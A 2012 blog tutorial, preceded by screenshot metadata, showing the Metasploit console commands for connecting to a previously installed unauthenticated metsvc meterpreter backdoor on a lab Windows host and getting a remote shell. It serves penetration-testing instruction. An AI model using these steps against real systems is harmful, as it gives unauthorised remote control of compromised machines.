[null, null, {"document_url": "http://scx010c075.blogspot.com/2012/02/interact-with-metsvc-backdoor.html", "unformatted_src": "http://3.bp.blogspot.com/-FPol73nMvek/T08oy558TjI/AAAAAAAABMk/CWSs6SJSZHU/s400/root@bt:+%7E_013.png", "src": "http://3.bp.blogspot.com/-FPol73nMvek/T08oy558TjI/AAAAAAAABMk/CWSs6SJSZHU/s400/root@bt:+%7E_013.png", "formatted_filename": "root@bt:   E", "rendered_width": 400, "rendered_height": 255}, null, {"document_url": "http://scx010c075.blogspot.com/2012/02/interact-with-metsvc-backdoor.html", "unformatted_src": "http://1.bp.blogspot.com/-A7OP0C4MY3k/T08pfDbilLI/AAAAAAAABMs/hgaSoV6VrSQ/s400/root@bt:+%7E_014.png", "src": "http://1.bp.blogspot.com/-A7OP0C4MY3k/T08pfDbilLI/AAAAAAAABMs/hgaSoV6VrSQ/s400/root@bt:+%7E_014.png", "formatted_filename": "root@bt:   E", "rendered_width": 400, "rendered_height": 255}, null, {"document_url": "http://scx010c075.blogspot.com/2012/02/interact-with-metsvc-backdoor.html", "unformatted_src": "http://3.bp.blogspot.com/-MYkrFN8J6gg/T08qA4nC6tI/AAAAAAAABM0/QaodREdYhNk/s400/root@bt:+%7E_015.png", "src": "http://3.bp.blogspot.com/-MYkrFN8J6gg/T08qA4nC6tI/AAAAAAAABM0/QaodREdYhNk/s400/root@bt:+%7E_015.png", "formatted_filename": "root@bt:   E", "rendered_width": 400, "rendered_height": 272}, null, {"document_url": "http://scx010c075.blogspot.com/2012/02/interact-with-metsvc-backdoor.html", "unformatted_src": "http://2.bp.blogspot.com/-l3mYWW7-dII/T08qQXMXkEI/AAAAAAAABM8/UqQajBWLs1s/s400/Selection_016.png", "src": "http://2.bp.blogspot.com/-l3mYWW7-dII/T08qQXMXkEI/AAAAAAAABM8/UqQajBWLs1s/s400/Selection_016.png", "formatted_filename": "Selection", "rendered_width": 400, "rendered_height": 106}, null, null, null, null, null, null, null]


Interact With Metsvc Backdoor To interact with the meterpreter backdoor service we've created before, we can use a multi_handler with a windows/metsvc_bind_tcp payload to connect with the backdoor.
To remind you again, this backdoor require no authentication to connect. So it is a dangerous backdoor to use since anyone can use it too.

Ok, here's a way to connect to the metsvc backdoor we've created before.

- Load up your msfconsole - Set the parameter as follows

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf  exploit(handler) > set LPORT 31337
LPORT => 31337
msf  exploit(handler) > set RHOST 192.168.56.2
RHOST => 192.168.56.2 - Final checking.

msf  exploit(handler) > show options - Exploit

msf  exploit(handler) > exploit Immediately after you execute exploit command. A nice meterpreter shell will be available for us to be used..   :D Labels: exploit, metasploit, meterpreter, pentest, tutorial


